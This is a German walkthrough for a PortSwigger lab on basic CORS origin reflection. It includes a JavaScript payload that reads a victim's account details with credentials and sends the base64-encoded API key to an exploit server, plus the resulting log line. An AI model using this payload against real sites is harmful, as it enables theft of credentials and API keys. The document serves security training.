> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cors/cors-basic-origin-reflection.md).

# Einfache CORS-Origin-Reflexion

Notizen zur einfachen CORS-Origin-Reflexion für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### CORS-Schwachstelle mit einfacher Origin-Reflexion

Verwendung einer zu großzügigen CORS-Konfiguration (der Server vertraut jeder Origin), um den API-Schlüssel vom Administrator über eine Cross-Origin-Anfrage mit abzurufen `Anmeldedaten` und die Antwort an unseren Exploit-Server zu senden. Die Übung ist gelöst, wenn der API-Administrator-Schlüssel an den Exploit-Server übermittelt wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f23205fd14ddce1058f950285c4554561c44c6e4%2F%7BE93C2481-C3DD-4491-9718-04255A525A5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Bereitgestellte Anmeldedaten zum Verbinden: `wiener:peter`.
* Der Seitencode ruft den API-Schlüssel von `/accountDetails` ab und zeigt Folgendes an:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05acb78b0b9ba40cd1ab6441c933bc62194815a%2F%7B5B981217-EB8B-46B6-866E-BF2EE614164B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die Header zeigen an `Access-Control-Allow-Credentials: true` (der Server akzeptiert Anfragen mit Cookies/Anmeldedaten).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fffb4cb07e3b1fd041b023d89e33bd50c0a580eb%2F%7B71DD19DE-AF24-4A33-9628-97AF33D459CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Durch das Testen einer Anfrage mit dem `Origin: jord4n.pro` Header wird die Antwort zurückgegeben (die reflektierte Origin wird akzeptiert).

```javascript
Origin: jord4n.pro
```

* Der Server spiegelt/erlaubt die gesendete Origin, sodass eine vom Angreifer kontrollierte Seite ein `XMLHttpRequest` oder `fetch` zu ändern `/accountDetails` ausführen kann, indem sie die Cookies des Opfers einbindet (`withCredentials = true`) und die JSON-Antwort mit dem API-Schlüssel wiederherstellt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6296a8f99e2485444e7340b5987ae5e7e276b66%2F%7B8E97639D-16A3-4758-BB50-FD30CC1BD87E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4966b3c5739c9ba582053fbe4ac57fd3c4ccbe05%2F%7B90E8F329-5B26-4B3B-BB2C-426417A091F1%7D.png?alt=media" alt="" width="483"><figcaption></figcaption></figure>

Sobald die Antwort gelesen wurde, kann sie an den Server übertragen werden (z. B. durch Base64-Kodierung), um sie auszulesen.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02733344152bd14f913bfc7b411483b6bf72208c%2F%7B34B08A80-EEF4-46A7-9741-E8D38F8DB848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

Der ausgehende Server erhielt eine GET-Anfrage, die die kodierte Antwort enthielt, zum Beispiel:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38d3209967cd9d4a39677bd0d257d48b3b1055%2F%7BBCA617FC-24D1-4D74-A8E9-063DEC8A4C3C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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